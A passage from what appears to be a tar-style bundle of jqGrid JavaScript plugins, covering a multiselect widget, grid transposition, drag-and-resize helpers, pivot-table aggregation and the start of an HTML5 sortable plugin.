{ var text1 = node1.text(), text2 = node2.text(); return text1 == text2 ? 0 : (text1 < text2 ? -1 : 1); } }, _create: function() { this.element.hide(); this.id = this.element.attr("id"); this.container = $('<div class="ui-multiselect ui-helper-clearfix ui-widget"></div>').insertAfter(this.element); this.count = 0; // number of currently selected options this.selectedContainer = $('<div class="selected"></div>').appendTo(this.container); this.availableContainer = $('<div class="available"></div>')[this.options.availableFirst?'prependTo': 'appendTo'](this.container); this.selectedActions = $('<div class="actions ui-widget-header ui-helper-clearfix"><span class="count">0 '+$.ui.multiselect.locale.itemsCount+'</span><a href="#" class="remove-all">'+$.ui.multiselect.locale.removeAll+'</a></div>').appendTo(this.selectedContainer); this.availableActions = $('<div class="actions ui-widget-header ui-helper-clearfix"><input type="text" class="search empty ui-widget-content ui-corner-all"/><a href="#" class="add-all">'+$.ui.multiselect.locale.addAll+'</a></div>').appendTo(this.availableContainer); this.selectedList = $('<ul class="selected connected-list"><li class="ui-helper-hidden-accessible"></li></ul>').bind('selectstart', function(){return false;}).appendTo(this.selectedContainer); this.availableList = $('<ul class="available connected-list"><li class="ui-helper-hidden-accessible"></li></ul>').bind('selectstart', function(){return false;}).appendTo(this.availableContainer); var that = this; // set dimensions this.container.width(this.element.width()+1); this.selectedContainer.width(Math.floor(this.element.width()*this.options.dividerLocation)); this.availableContainer.width(Math.floor(this.element.width()*(1-this.options.dividerLocation))); // fix list height to match <option> depending on their individual header's heights this.selectedList.height(Math.max(this.element.height()-this.selectedActions.height(),1)); this.availableList.height(Math.max(this.element.height()-this.availableActions.height(),1)); if ( !this.options.animated ) { this.options.show = 'show'; this.options.hide = 'hide'; } this.useProp = !!$.fn.prop; // init lists this._populateLists(this.element.find('option')); // make selection sortable if (this.options.sortable) { this.selectedList.sortable({ placeholder: 'ui-state-highlight', axis: 'y', update: function(event, ui) { // apply the new sort order to the original selectbox that.selectedList.find('li').each(function() { if ($(this).data('optionLink')) $(this).data('optionLink').remove().appendTo(that.element); }); }, receive: function(event, ui) { ui.item.data('optionLink')[ this.useProp ? 'prop' : 'attr' ]('selected', true); // increment count that.count += 1; that._updateCount(); // workaround, because there's no way to reference // the new element, see http://dev.jqueryui.com/ticket/4303 that.selectedList.children('.ui-draggable').each(function() { $(this).removeClass('ui-draggable'); $(this).data('optionLink', ui.item.data('optionLink')); $(this).data('idx', ui.item.data('idx')); that._applyItemState($(this), true); }); // workaround according to http://dev.jqueryui.com/ticket/4088 setTimeout(function() { ui.item.remove(); }, 1); } }); } // set up livesearch if (this.options.searchable) { this._registerSearchEvents(this.availableContainer.find('input.search')); } else { $('.search').hide(); } // batch actions this.container.find(".remove-all").click(function() { var options = that.element.find('option:selected'); if (that.selectedList.children('li').length > 1) { that.selectedList.children('li').each(function(i) { if ($(this).is(":visible")) $(options[i-1])[ that.useProp ? 'prop' : 'attr' ]('selected', false); }); } else { options[ that.useProp ? 'prop' : 'attr' ]('selected', false); } that._populateLists(that.element.find('option')); return false; }); this.container.find(".add-all").click(function() { var options = that.element.find('option').not(":selected"); if (that.availableList.children('li:hidden').length > 1) { that.availableList.children('li').each(function(i) { if ($(this).is(":visible")) $(options[i-1])[ that.useProp ? 'prop' : 'attr' ]('selected', true); }); } else { options[ that.useProp ? 'prop' : 'attr' ]('selected', true); } that._populateLists(that.element.find('option')); return false; }); }, destroy: function() { this.element.show(); this.container.remove(); $.Widget.prototype.destroy.apply(this, arguments); }, _populateLists: function(options) { this.selectedList.children('.ui-element').remove(); this.availableList.children('.ui-element').remove(); this.count = 0; var that = this; var items = $(options.map(function(i) { var item = that._getOptionNode(this).appendTo(this.selected ? that.selectedList : that.availableList).show(); if (this.selected) that.count += 1; that._applyItemState(item, this.selected); item.data('idx', i); return item[0]; })); // update count this._updateCount(); that._filter.apply(this.availableContainer.find('input.search'), [that.availableList]); }, _updateCount: function() { this.element.trigger('change'); this.selectedContainer.find('span.count').text(this.count+" "+$.ui.multiselect.locale.itemsCount); }, _getOptionNode: function(option) { option = $(option); var node = $('<li class="ui-state-default ui-element" title="'+option.text()+'"><span class="ui-icon"></span>'+option.text()+'<a href="#" class="action"><span class="ui-corner-all ui-icon"></span></a></li>').hide(); node.data('optionLink', option); return node; }, // clones an item with associated data // didn't find a smarter away around this _cloneWithData: function(clonee) { var clone = clonee.clone(false,false); clone.data('optionLink', clonee.data('optionLink')); clone.data('idx', clonee.data('idx')); return clone; }, _setSelected: function(item, selected) { item.data('optionLink')[ this.useProp ? 'prop' : 'attr' ]('selected', selected); if (selected) { var selectedItem = this._cloneWithData(item); item[this.options.hide](this.options.animated, function() { $(this).remove(); }); selectedItem.appendTo(this.selectedList).hide()[this.options.show](this.options.animated); this._applyItemState(selectedItem, true); return selectedItem; } else { // look for successor based on initial option index var items = this.availableList.find('li'), comparator = this.options.nodeComparator; var succ = null, i = item.data('idx'), direction = comparator(item, $(items[i])); // TODO: test needed for dynamic list populating if ( direction ) { while (i>=0 && i<items.length) { direction > 0 ? i++ : i--; if ( direction != comparator(item, $(items[i])) ) { // going up, go back one item down, otherwise leave as is succ = items[direction > 0 ? i : i+1]; break; } } } else { succ = items[i]; } var availableItem = this._cloneWithData(item); succ ? availableItem.insertBefore($(succ)) : availableItem.appendTo(this.availableList); item[this.options.hide](this.options.animated, function() { $(this).remove(); }); availableItem.hide()[this.options.show](this.options.animated); this._applyItemState(availableItem, false); return availableItem; } }, _applyItemState: function(item, selected) { if (selected) { if (this.options.sortable) item.children('span').addClass('ui-icon-arrowthick-2-n-s').removeClass('ui-helper-hidden').addClass('ui-icon'); else item.children('span').removeClass('ui-icon-arrowthick-2-n-s').addClass('ui-helper-hidden').removeClass('ui-icon'); item.find('a.action span').addClass('ui-icon-minus').removeClass('ui-icon-plus'); this._registerRemoveEvents(item.find('a.action')); } else { item.children('span').removeClass('ui-icon-arrowthick-2-n-s').addClass('ui-helper-hidden').removeClass('ui-icon'); item.find('a.action span').addClass('ui-icon-plus').removeClass('ui-icon-minus'); this._registerAddEvents(item.find('a.action')); } this._registerDoubleClickEvents(item); this._registerHoverEvents(item); }, // taken from John Resig's liveUpdate script _filter: function(list) { var input = $(this); var rows = list.children('li'), cache = rows.map(function(){ return $(this).text().toLowerCase(); }); var term = $.trim(input.val().toLowerCase()), scores = []; if (!term) { rows.show(); } else { rows.hide(); cache.each(function(i) { if (this.indexOf(term)>-1) { scores.push(i); } }); $.each(scores, function() { $(rows[this]).show(); }); } }, _registerDoubleClickEvents: function(elements) { if (!this.options.doubleClickable) return; elements.dblclick(function(ev) { if ($(ev.target).closest('.action').length === 0) { // This may be triggered with rapid clicks on actions as well. In that // case don't trigger an additional click. elements.find('a.action').click(); } }); }, _registerHoverEvents: function(elements) { elements.removeClass('ui-state-hover'); elements.mouseover(function() { $(this).addClass('ui-state-hover'); }); elements.mouseout(function() { $(this).removeClass('ui-state-hover'); }); }, _registerAddEvents: function(elements) { var that = this; elements.click(function() { var item = that._setSelected($(this).parent(), true); that.count += 1; that._updateCount(); return false; }); // make draggable if (this.options.sortable) { elements.each(function() { $(this).parent().draggable({ connectToSortable: that.selectedList, helper: function() { var selectedItem = that._cloneWithData($(this)).width($(this).width() - 50); selectedItem.width($(this).width()); return selectedItem; }, appendTo: that.container, containment: that.container, revert: 'invalid' }); }); } }, _registerRemoveEvents: function(elements) { var that = this; elements.click(function() { that._setSelected($(this).parent(), false); that.count -= 1; that._updateCount(); return false; }); }, _registerSearchEvents: function(input) { var that = this; input.focus(function() { $(this).addClass('ui-state-active'); }) .blur(function() { $(this).removeClass('ui-state-active'); }) .keypress(function(e) { if (e.keyCode == 13) return false; }) .keyup(function() { that._filter.apply(this, [that.availableList]); }); } }); $.extend($.ui.multiselect, { locale: { addAll:'Add all', removeAll:'Remove all', itemsCount:'items selected' } }); })(jQuery); grid.transposed.js000064400000007467151677266200010242 0ustar00/*jshint eqeqeq:false */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.jgrid.extend({ transposeSetup : function( data, options ){ // return the final result. var columns =[], rows=[], model = false, o = $.extend ( {}, options || {}); this.each(function(){ // trnsform data and build colModel var keys = Object.keys(data[o.baseindex]), rowobj, col; if(o.excludeSrcCols.length) { keys = keys.filter(function(item) { return !o.excludeSrcCols.includes(item); }); } // for all columns for(var i =0; i< keys.length; i++) { rowobj = {}; col=0; rowobj.col_name = keys[i]; if(!model) { // build colmodel first item columns.push({name:"col_name"}); } col++; // loop in every row and put it as column for(var j=0; j< data.length; j++) { var tmp = data[j]; rowobj[o.nameprefix + col]= tmp[keys[i]]; if(!model) { // colModel next items columns.push({name:o.nameprefix + col, label : o.labelprefix + col}); } col++; } // colModel is build model = true; rows.push(rowobj); } }); return { "colModel" : columns, "rows": rows }; }, jqTranspose : function( data, transpOpt, gridOpt, ajaxOpt) { transpOpt = $.extend ( { nameprefix : "col", // prefix for the creted name in colModel + index labelprefix : "value ", // prefix for the colNames titles + index baseindex : 0, // which is the base index from source data to transpose rows to cols beforeCreateGrid : null, // even befor creating the jqGrid. passed is a object // containing colModel and data (rows) RowAsHeader : 0, loadMsg : false, excludeSrcCols :[] }, transpOpt || {} ); return this.each(function(){ var $t = this, regional = (gridOpt && gridOpt.regional) ? gridOpt.regional : "en"; if(transpOpt.loadMsg) { $("<div class='loading_pivot ui-state-default ui-state-active row'>"+$.jgrid.getRegional($t, "regional."+regional+".defaults.loadtext")+"</div>").insertBefore($t).show(); } function transpose( data, o) { if(!Array.isArray(data)) { //throw "data provides is not an array"; data = []; } var transpGrid = jQuery($t).jqGrid('transposeSetup',data, transpOpt); if($.jgrid.isFunction(transpOpt.beforeCreateGrid)) { transpOpt.beforeCreateGrid.call($t, transpGrid, data); } if(o.RowAsHeader !== false && o.RowAsHeader >=0 && transpGrid.rows.length && o.RowAsHeader < transpGrid.rows.length) { var labels = transpGrid.rows[o.RowAsHeader], i=0; for(var key in labels) { if( Object.prototype.hasOwnProperty.call(labels, key) ){ //labels.hasOwnProperty(key)) { transpGrid.colModel[i].label = labels[key]; } i++; } transpGrid.rows.splice(o.RowAsHeader,1); } var query= $.jgrid.from.call($t, transpGrid.rows); jQuery($t).jqGrid($.extend(true, { datastr: query.select(), datatype: "jsonstring", colModel: transpGrid.colModel, jsonReader : { repeatitems : false }, viewrecords: true //sortname: transpOpt.xDimension[0].dataName // ????? }, gridOpt || {})); if(transpOpt.loadMsg) { $(".loading_pivot").remove(); } } if(typeof data === "string") { $.ajax($.extend({ url : data, dataType: 'json', success : function(response) { transpose($.jgrid.getAccessor(response, ajaxOpt && ajaxOpt.reader ? ajaxOpt.reader: 'rows'), transpOpt ); } }, ajaxOpt || {}) ); } else { transpose( data, transpOpt ); } }); } }); //module end })); jqDnR.js000064400000006204151677266200006136 0ustar00/* * jqDnR - Minimalistic Drag'n'Resize for jQuery. * * Copyright (c) 2007 Brice Burgess <bhb@iceburg.net>, http://www.iceburg.net * Licensed under the MIT License: * http://www.opensource.org/licenses/mit-license.php * * $Version: 2007.08.19 +r2 */ /*jshint eqeqeq:false */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery" ], factory ); } else { // Browser globals factory( jQuery ); } } (function( $ ) { "use strict"; //module begin $.fn.jqDrag=function(h){return i(this,h,'d');}; $.fn.jqResize=function(h,ar){return i(this,h,'r',ar);}; $.jqDnR={ dnr:{}, e:0, drag:function(v){ if(M.k == 'd'){E.css({left:M.X+v.pageX-M.pX,top:M.Y+v.pageY-M.pY});} else { E.css({width:Math.max(v.pageX-M.pX+M.W,0),height:Math.max(v.pageY-M.pY+M.H,0)}); if(M1){E1.css({width:Math.max(v.pageX-M1.pX+M1.W,0),height:Math.max(v.pageY-M1.pY+M1.H,0)});} } return false; }, stop:function(){ //E.css('opacity',M.o); $(document).off('mousemove',J.drag).off('mouseup',J.stop); } }; var J=$.jqDnR,M=J.dnr,E=J.e,E1,M1, i=function(e,h,k,aR){ return e.each(function(){ h=(h)?$(h,e):e; h.on('mousedown',{e:e,k:k},function(v){ var d=v.data,p={};E=d.e;E1 = aR ? $(aR) : false; // attempt utilization of dimensions plugin to fix IE issues if(E.css('position') != 'relative'){try{E.position(p);}catch(e){}} M={ X:p.left||f('left')||0, Y:p.top||f('top')||0, W:f('width')||E[0].scrollWidth||0, H:f('height')||E[0].scrollHeight||0, pX:v.pageX, pY:v.pageY, k:d.k //o:E.css('opacity') }; // also resize if(E1 && d.k != 'd'){ M1={ X:p.left||f1('left')||0, Y:p.top||f1('top')||0, W:E1[0].offsetWidth||f1('width')||0, H:E1[0].offsetHeight||f1('height')||0, pX:v.pageX, pY:v.pageY, k:d.k }; } else {M1 = false;} //E.css({opacity:0.8}); if($("input.hasDatepicker",E[0])[0]) { try {$("input.hasDatepicker",E[0]).datepicker('hide');}catch (dpe){} } $(document).mousemove($.jqDnR.drag).mouseup($.jqDnR.stop); return false; }); }); }, f=function(k){return parseInt(E.css(k),10)||false;}, f1=function(k){return parseInt(E1.css(k),10)||false;}; /* jQuery tinyDraggable v1.0.2 Copyright (c) 2014 Simon Steinberger / Pixabay GitHub: https://github.com/Pixabay/jQuery-tinyDraggable More info: https://pixabay.com/blog/posts/p-52/ License: http://www.opensource.org/licenses/mit-license.php */ $.fn.tinyDraggable = function(options){ var settings = $.extend({ handle: 0, exclude: 0 }, options); return this.each(function(){ var dx, dy, el = $(this), handle = settings.handle ? $(settings.handle, el) : el; handle.on({ mousedown: function(e){ if (settings.exclude && ~$.inArray(e.target, $(settings.exclude, el))) { return; } e.preventDefault(); var os = el.offset(); dx = e.pageX-os.left, dy = e.pageY-os.top; $(document).on('mousemove.drag', function(e){ el.offset({top: e.pageY-dy, left: e.pageX-dx}); }); }, mouseup: function(e){ $(document).off('mousemove.drag'); } }); }); }; //module end }));grid.pivot.js000064400000043665151677266200007221 0ustar00/*jshint eqeqeq:false */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base", "./grid.grouping" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; // To optimize the search we need custom array filter // This code is taken from // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter //module begin function _pivotfilter (fn, context) { /*jshint validthis: true */ var i, value, result = [], length; if (!this || typeof fn !== 'function' || (fn instanceof RegExp)) { throw new TypeError(); } length = this.length; for (i = 0; i < length; i++) { if (this.hasOwnProperty(i)) { value = this[i]; if (fn.call(context, value, i, this)) { result.push(value); // We need break in order to cancel loop // in case the row is found break; } } } return result; } $.assocArraySize = function(obj) { // http://stackoverflow.com/a/6700/11236 var size = 0, key; for (key in obj) { if (obj.hasOwnProperty(key)) { size++; } } return size; }; $.jgrid.extend({ pivotSetup : function( data, options ){ // data should come in json format // The function return the new colModel and the transformed data // again with group setup options which then will be passed to the grid var columns =[], pivotrows =[], summaries = [], member=[], labels=[], groupOptions = { grouping : true, groupingView : { groupField : [], groupSummary: [], groupSummaryPos:[] } }, headers = [], o = $.extend ( { rowTotals : false, rowTotalsText : 'Total', // summary columns colTotals : false, groupSummary : true, groupSummaryPos : 'header', frozenStaticCols : false }, options || {}); this.each(function(){ var $t = this, row, rowindex, i, rowlen = data.length, xlen, ylen, aggrlen, tmp, newObj, r=0; // utility funcs /* * Filter the data to a given criteria. Return the firt occurance */ function find(ar, fun, extra) { var res; res = _pivotfilter.call(ar, fun, extra); return res.length > 0 ? res[0] : null; } /* * Check if the grouped row column exist (See find) * If the row is not find in pivot rows retun null, * otherviese the column */ function findGroup(item, index) { /*jshint validthis: true */ var j = 0, ret = true, i; for(i in item) { if( item.hasOwnProperty(i) ) { if(item[i] != this[j]) { ret = false; break; } j++; if(j>=this.length) { break; } } } if(ret) { rowindex = index; } return ret; } /* * Perform calculations of the pivot values. */ function calculation(oper, v, field, rc, _cnt) { var ret; if( $.jgrid.isFunction(oper)) { ret = oper.call($t, v, field, rc); } else { switch (oper) { case "sum" : ret = $.jgrid.floatNum(v) + $.jgrid.floatNum(rc[field]); break; case "count" : if(v==="" || v == null) { v=0; } if(rc.hasOwnProperty(field)) { ret = v+1; } else { ret = 0; } break; case "min" : if(v==="" || v == null) { ret = $.jgrid.floatNum(rc[field]); } else { ret =Math.min($.jgrid.floatNum(v),$.jgrid.floatNum(rc[field])); } break; case "max" : if(v==="" || v == null) { ret = $.jgrid.floatNum(rc[field]); } else { ret = Math.max($.jgrid.floatNum(v),$.jgrid.floatNum(rc[field])); } break; case "avg" : //avg grouping ret = ($.jgrid.floatNum(v) * (_cnt -1) + $.jgrid.floatNum(rc[field]) ) /_cnt; break; } } return ret; } /* * The function agragates the values of the pivot grid. * Return the current row with pivot summary values */ function agregateFunc ( row, aggr, value, curr) { // default is sum var arrln = aggr.length, i, label, j, jv, mainval="",swapvals=[], swapstr, _cntavg = 1, lbl; if( Array.isArray(value) ) { jv = value.length; swapvals = value; } else { jv = 1; swapvals[0]=value; } member = []; labels = []; member.root = 0; for(j=0;j<jv;j++) { var tmpmember = [], vl; for(i=0; i < arrln; i++) { swapstr = typeof aggr[i].aggregator === 'string' ? aggr[i].aggregator : 'cust'; if(value == null) { label = $.jgrid.trim(aggr[i].member)+"_" + swapstr; vl = label; swapvals[0]= aggr[i].label || (swapstr + " " +$.jgrid.trim(aggr[i].member)); } else { vl = value[j].replace(/\s+/g, ''); try { label = (arrln === 1 ? mainval + vl : mainval + vl + "_" + swapstr + "_" + String(i)); } catch(e) {} swapvals[j] = value[j]; } //if(j<=1 && vl !== '_r_Totals' && mainval === "") { // this does not fix full the problem //mainval = vl; //} label = !isNaN(parseInt(label,10)) ? label + " " : label; if(aggr[i].aggregator === 'avg') { lbl = rowindex === -1 ? pivotrows.length+"_"+label : rowindex+"_"+label; if(!_avg[lbl]) { _avg[lbl] = 1; } else { _avg[lbl]++; } _cntavg = _avg[lbl]; } curr[label] = tmpmember[label] = calculation( aggr[i].aggregator, curr[label], aggr[i].member, row, _cntavg); } mainval += (value && value[j] != null) ? value[j].replace(/\s+/g, '') : ''; //vl = !isNaN(parseInt(vl,10)) ? vl + " " : vl; member[label] = tmpmember; labels[label] = swapvals[j]; } return curr; } // Making the row totals without to add in yDimension if(o.rowTotals && o.yDimension.length > 0) { var dn = o.yDimension[0].dataName; o.yDimension.splice(0,0,{dataName:dn}); o.yDimension[0].converter = function(){ return '_r_Totals'; }; } // build initial columns (colModel) from xDimension xlen = Array.isArray(o.xDimension) ? o.xDimension.length : 0; ylen = o.yDimension.length; aggrlen = Array.isArray(o.aggregates) ? o.aggregates.length : 0; if(xlen === 0 || aggrlen === 0) { throw("xDimension or aggregates optiona are not set!"); } var colc; for(i = 0; i< xlen; i++) { colc = {name:o.xDimension[i].dataName, frozen: o.frozenStaticCols}; if(o.xDimension[i].isGroupField == null) { o.xDimension[i].isGroupField = true; } colc = $.extend(true, colc, o.xDimension[i]); columns.push( colc ); } var groupfields = xlen - 1, tree={}, _avg=[]; //tree = { text: 'root', leaf: false, children: [] }; //loop over alll the source data while( r < rowlen ) { row = data[r]; var xValue = []; var yValue = []; tmp = {}; i = 0; // build the data from xDimension do { xValue[i] = $.jgrid.trim(row[o.xDimension[i].dataName]); tmp[o.xDimension[i].dataName] = xValue[i]; i++; } while( i < xlen ); var k = 0; rowindex = -1; // check to see if the row is in our new pivotrow set newObj = find(pivotrows, findGroup, xValue); if(!newObj) { // if the row is not in our set k = 0; // if yDimension is set if(ylen>=1) { // build the cols set in yDimension for(k=0;k<ylen;k++) { yValue[k] = $.jgrid.trim(row[o.yDimension[k].dataName]); if(yValue[k] === undefined) { yValue[k] = null; continue; } // Check to see if we have user defined conditions if(o.yDimension[k].converter && $.jgrid.isFunction(o.yDimension[k].converter)) { yValue[k] = o.yDimension[k].converter.call(this, yValue[k], xValue, yValue); } } // make the colums based on aggregates definition // and return the members for late calculation tmp = agregateFunc( row, o.aggregates, yValue, tmp ); } else if( ylen === 0 ) { // if not set use direct the aggregates tmp = agregateFunc( row, o.aggregates, null, tmp ); } // add the result in pivot rows pivotrows.push( tmp ); } else { // the pivot exists if( rowindex >= 0) { k = 0; // make the recalculations if(ylen>=1) { for(k=0;k<ylen;k++) { yValue[k] = $.jgrid.trim(row[o.yDimension[k].dataName]); if(yValue[k] === undefined) { yValue[k] = null; continue; } if(o.yDimension[k].converter && $.jgrid.isFunction(o.yDimension[k].converter)) { yValue[k] = o.yDimension[k].converter.call(this, yValue[k], xValue, yValue); } } newObj = agregateFunc( row, o.aggregates, yValue, newObj ); } else if( ylen === 0 ) { newObj = agregateFunc( row, o.aggregates, null, newObj ); } // update the row pivotrows[rowindex] = newObj; } } var kj=0, current = null,existing = null, kk; // Build a JSON tree from the member (see aggregateFunc) // to make later the columns // for (kk in member) { if(member.hasOwnProperty( kk )) { if(kj === 0) { if (!tree.children||tree.children === undefined){ tree = { text: kk, level : 0, children: [], label: kk }; } current = tree.children; } else { existing = null; for (i=0; i < current.length; i++) { if (current[i].text === kk) { //current[i].fields=member[kk]; existing = current[i]; break; } } if (existing) { current = existing.children; } else { current.push({ children: [], text: kk, level: kj, fields: member[kk], label: labels[kk] }); current = current[current.length - 1].children; } } kj++; } } r++; } _avg = null; // free mem var lastval=[], initColLen = columns.length, swaplen = initColLen; if(ylen>0) { headers[ylen-1] = { useColSpanStyle: false, groupHeaders: []}; } /* * Recursive function which uses the tree to build the * columns from the pivot values and set the group Headers */ function list(items) { var l, j, key, k, col; for (key in items) { // iterate if (items.hasOwnProperty(key)) { // write amount of spaces according to level // and write name and newline if(typeof items[key] !== "object") { // If not a object build the header of the appropriate level if( key === 'level') { if(lastval[items.level] === undefined) { lastval[items.level] =''; if(items.level>0 && items.text.indexOf('_r_Totals') === -1) { headers[items.level-1] = { useColSpanStyle: false, groupHeaders: [] }; } } if(lastval[items.level] !== items.text && items.children.length && items.text.indexOf('_r_Totals') === -1 ) { if(items.level>0) { headers[items.level-1].groupHeaders.push({ titleText: items.label, numberOfColumns : 0 }); var collen = headers[items.level-1].groupHeaders.length-1, colpos = collen === 0 ? swaplen : initColLen;//+aggrlen; if(items.level-1=== (o.rowTotals ? 1 : 0)) { if(collen>0) { var l1=0; for(var kk=0; kk<collen; kk++) { l1 += headers[items.level-1].groupHeaders[kk].numberOfColumns; } if(l1) { colpos = l1 + xlen; } } } if(columns[colpos]) { headers[items.level-1].groupHeaders[collen].startColumnName = columns[colpos].name; headers[items.level-1].groupHeaders[collen].numberOfColumns = columns.length - colpos; } initColLen = columns.length; } } lastval[items.level] = items.text; } // This is in case when the member contain more than one summary item if(items.level === ylen && key==='level' && ylen >0) { if( aggrlen > 1){ var ll=1; for( l in items.fields) { if(items.fields.hasOwnProperty(l)) { if(ll===1) { headers[ylen-1].groupHeaders.push({startColumnName: l, numberOfColumns: 1, titleText: items.label || items.text}); } ll++; } } headers[ylen-1].groupHeaders[headers[ylen-1].groupHeaders.length-1].numberOfColumns = ll-1; } else { headers.splice(ylen-1,1); } } } // if object, call recursively if (items[key] != null && typeof items[key] === "object") { list(items[key]); } // Finally build the columns if( key === 'level') { if( items.level > 0 && (items.level === (ylen===0?items.level:ylen) || lastval[items.level].indexOf('_r_Totals') !== -1 ) ){ j=0; for(l in items.fields) { if(items.fields.hasOwnProperty( l ) ) { col = {}; for(k in o.aggregates[j]) { if(o.aggregates[j].hasOwnProperty(k)) { switch( k ) { case 'member': case 'label': case 'aggregator': break; default: col[k] = o.aggregates[j][k]; } } } if(aggrlen > 1) { col.name = l; col.label = o.aggregates[j].label || items.label; } else { col.name = items.text; col.label = items.text==='_r_Totals' ? o.rowTotalsText : items.label; } columns.push (col); j++; } } } } } } } list( tree ); var nm; // loop again trougth the pivot rows in order to build grand total if(o.colTotals) { var plen = pivotrows.length; while(plen--) { for(i=xlen;i<columns.length;i++) { nm = columns[i].name; if(!summaries[nm]) { summaries[nm] = $.jgrid.floatNum(pivotrows[plen][nm]); } else { summaries[nm] += $.jgrid.floatNum(pivotrows[plen][nm]); } } } } // based on xDimension levels build grouping if( groupfields > 0) { for(i=0;i<groupfields;i++) { if(columns[i].isGroupField) { groupOptions.groupingView.groupField.push(columns[i].name); groupOptions.groupingView.groupSummary.push(o.groupSummary); groupOptions.groupingView.groupSummaryPos.push(o.groupSummaryPos); } } } else { // no grouping is needed groupOptions.grouping = false; } groupOptions.sortname = columns[groupfields].name; groupOptions.groupingView.hideFirstGroupCol = true; }); // return the final result. return { "colModel" : columns, "rows": pivotrows, "groupOptions" : groupOptions, "groupHeaders" : headers, summary : summaries }; }, jqPivot : function( data, pivotOpt, gridOpt, ajaxOpt) { return this.each(function(){ var $t = this, regional = gridOpt.regional ? gridOpt.regional : "en"; if(pivotOpt.loadMsg === undefined) { pivotOpt.loadMsg = true; } if(pivotOpt.loadMsg) { $("<div class='loading_pivot ui-state-default ui-state-active row'>"+$.jgrid.getRegional($t, "regional."+regional+".defaults.loadtext")+"</div>").insertBefore($t).show(); } function pivot( data) { if( $.jgrid.isFunction( pivotOpt.onInitPivot ) ) { pivotOpt.onInitPivot.call( $t ); } if( !Array.isArray(data) ) { //throw "data provides is not an array"; data = []; } var pivotGrid = jQuery($t).jqGrid('pivotSetup',data, pivotOpt), footerrow = $.assocArraySize(pivotGrid.summary) > 0 ? true : false, query= $.jgrid.from.call($t, pivotGrid.rows), i, so, st, len; if(pivotOpt.ignoreCase) { query = query.ignoreCase(); } for(i=0; i< pivotGrid.groupOptions.groupingView.groupField.length; i++) { so = pivotOpt.xDimension[i].sortorder ? pivotOpt.xDimension[i].sortorder : 'asc'; st = pivotOpt.xDimension[i].sorttype ? pivotOpt.xDimension[i].sorttype : 'text'; query.orderBy(pivotGrid.groupOptions.groupingView.groupField[i], so, st, '', st); } len = pivotOpt.xDimension.length; if(gridOpt.sortname) { // should be a part of xDimension so = gridOpt.sortorder ? gridOpt.sortorder : 'asc'; st = 'text'; for( i=0; i< len; i++) { if(pivotOpt.xDimension[i].dataName === gridOpt.sortname) { st = pivotOpt.xDimension[i].sorttype ? pivotOpt.xDimension[i].sorttype : 'text'; break; } } query.orderBy(gridOpt.sortname, so, st, '', st); } else { if(pivotGrid.groupOptions.sortname && len) { so = pivotOpt.xDimension[len-1].sortorder ? pivotOpt.xDimension[len-1].sortorder : 'asc'; st = pivotOpt.xDimension[len-1].sorttype ? pivotOpt.xDimension[len-1].sorttype : 'text'; query.orderBy(pivotGrid.groupOptions.sortname, so, st, '', st); } } jQuery($t).jqGrid($.extend(true, { datastr: $.extend(query.select(),footerrow ? {userdata:pivotGrid.summary} : {}), datatype: "jsonstring", footerrow : footerrow, userDataOnFooter: footerrow, colModel: pivotGrid.colModel, viewrecords: true, formatFooterData : pivotOpt.colTotals === true ? true : false, sortname: pivotOpt.xDimension[0].dataName // ????? }, pivotGrid.groupOptions, gridOpt || {})); var gHead = pivotGrid.groupHeaders; if(gHead.length) { for( i = 0;i < gHead.length ; i++) { if(gHead[i] && gHead[i].groupHeaders.length) { jQuery($t).jqGrid('setGroupHeaders',gHead[i]); } } } if(pivotOpt.frozenStaticCols) { jQuery($t).jqGrid("setFrozenColumns"); } if( $.jgrid.isFunction( pivotOpt.onCompletePivot ) ) { pivotOpt.onCompletePivot.call( $t ); } if(pivotOpt.loadMsg) { $(".loading_pivot").remove(); } } if(typeof data === "string") { $.ajax($.extend({ url : data, dataType: 'json', success : function(response) { pivot($.jgrid.getAccessor(response, ajaxOpt && ajaxOpt.reader ? ajaxOpt.reader: 'rows') ); } }, ajaxOpt || {}) ); } else { pivot( data ); } }); } }); //module end })); jquery.sortable.js000064400000006437151677266200010261 0ustar00/* * * HTML5 Sortable jQuery Plugin * * Original code Copyright 2012 Ali Farhadi. * * This version is maintained by Tony Tomov <tony@trirand.com> * * Released under the MIT license. */ /*jshint eqeqeq:false */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery" ], factory ); } else { // Browser globals factory( jQuery ); } } (function( $ ) { "use strict"; //module begin var dragging, placeholders = $(); $.fn.html5sortable = function(options) { var method = String(options); options = $.extend({ connectWith: false }, options); return this.each(function() { var items; if (/^enable|disable|destroy$/.test(method)) { items = $(this).children($(this).data('items')).attr('draggable', method === 'enable'); if (method === 'destroy') { items.add(this).removeData('connectWith items') .off('dragstart.h5s dragend.h5s selectstart.h5s dragover.h5s dragenter.h5s drop.h5s'); } return; } var isHandle, index; items = $(this).children(options.items); var placeholder = $('<' + (/^ul|ol$/i.test(this.tagName) ? 'li' : /^tbody$/i.test(this.tagName) ? 'tr' : 'div') + ' class="sortable-placeholder ' + options.placeholderClass + '">').html(' '); items.find(options.handle).mousedown(function() { isHandle = true; }).mouseup(function() { isHandle = false; }); $(this).data('items', options.items); placeholders = placeholders.add(placeholder); if (options.connectWith) { $(options.connectWith).add(this).data('connectWith', options.connectWith); } items.attr('draggable', 'true').on('dragstart.h5s', function(e) { if (options.handle && !isHandle) { return false; } isHandle = false; var dt = e.originalEvent.dataTransfer; dt.effectAllowed = 'move'; dt.setData('Text', 'dummy'); index = (dragging = $(this)).addClass('sortable-dragging').index(); }).on('dragend.h5s', function() { if (!dragging) { return; } dragging.removeClass('sortable-dragging').show(); placeholders.detach(); if (index !== dragging.index()) { dragging.parent().trigger('sortupdate', {item: dragging, startindex: index, endindex: dragging.index()}); } dragging = null; }).not('a[href], img').on('selectstart.h5s', function() { this.dragDrop && this.dragDrop(); return false; }).end().add([this, placeholder]).on('dragover.h5s dragenter.h5s drop.h5s', function(e) { 